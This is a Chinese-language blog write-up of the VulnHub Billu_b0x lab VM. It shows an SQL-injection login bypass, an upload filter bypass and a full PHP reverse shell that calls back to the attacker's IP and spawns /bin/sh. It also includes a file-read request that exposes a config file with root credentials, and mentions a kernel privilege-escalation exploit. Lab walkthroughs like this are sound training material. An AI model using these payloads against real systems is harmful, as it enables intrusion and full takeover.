[VulnHub] - Billu_b0x靶场

靶机: https://download.vulnhub.com/billu/Billu_b0x.zip
难度: 中(两种攻击路线)
目标: 取得 root 权限
靶机:192.168.56.107
攻击机:192.168.56.106
涉及知识点:信息收集、文件上传、暴力破解、sql注入、任意文件读取、提权
这个靶场有两种提权的方案,看我娓娓道来

方案1

信息收集:

通过内网扫描发现靶机IP为192.168.56.107,并且探测到主机开放的端口为80和22

目录探测

使用dirsearch进行目录探测,发现若干个信息,待会在来测试

通过http服务,页面显示,“让我看看你的sql技能”,尝试fuzz sql探测到主机的万能用户名和密码 or 0=0 # \


文件上传

使用万能密码登录进去,里面存在文件上传的页面,这时候可以构建webshell尝试上传,并且在我们的的图片文件名修改为png,类型修改为image/png以及文件,的头部加上了GIF89a;成功的构建了反弹上传shell。

当我们构造Payload时,访问的是上传图片的路径,当访问到图片时,就会触发图片里面的webshell,从而,能连接上shell,上传的php反弹shell如下:

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.106';  //改为你kali的地址
$port = 4444;       // 改为kali监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

提权

在信息收集的过程中发现这个靶机的系统为3.13.0,通过kali的searchsploit,发现有这个漏洞,尝试漏洞利用

最终提权成功

方式二

对跟目录进行收集

通过信息收集获取到这个test目录下说有个file文件里面存在文件任意读取,payload如下,从而进行获取php文件的内容,进而对php的文件进行审计,发现账号和密码,root/roottoor。

POST /test HTTP/1.1
Host: 192.168.56.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://192.168.56.107
DNT: 1
Connection: close
Referer: http://192.168.56.107/test
Upgrade-Insecure-Requests: 1
Priority: u=0, i

file=phpmy/config.inc.php

此时就已经登录进来了,但是这个靶场应该不止这2种方式获取root,有兴趣的小伙伴在试试。

这次靶机的渗透测试展示了两种不同的提权方案:方案一通过文件上传结合内核漏洞进行提权,方案二通过文件读取漏洞获取敏感信息进行提权。以下是对整个过程的总结:方案一中,通过内网扫描发现靶机 IP 为 192.168.56.107,开放端口为 80 和 22。使用 dirsearch 进行目录探测,发现了若干有用的信息。通过浏览 HTTP 服务页面,发现存在 SQL 注入漏洞,利用万能用户名和密码 or 0=0 # 成功登录。在登录后的页面中发现了文件上传功能,构造了一个 PHP 反弹 shell 文件,并通过修改文件名和 MIME 类型成功绕过文件上传限制,利用该反弹 shell 成功获得了靶机的 shell 访问权限。通过系统信息收集发现靶机的内核版本为 3.13.0,使用 searchsploit 查找该版本内核的提权漏洞并成功利用,最终获得 root 权限。方案二中,通过目录探测发现了 test 目录下的文件读取漏洞。利用文件读取漏洞读取 phpmy/config.inc.php 文件,获取到ssh登录的用户名和密码 root/roottoor。使用获取到的凭证成功登录ssh主机,并进一步操作以获取系统的 root 权限.

posted @ 2024-08-07 20:14  AuriGe  阅读(46)  评论(0)    收藏  举报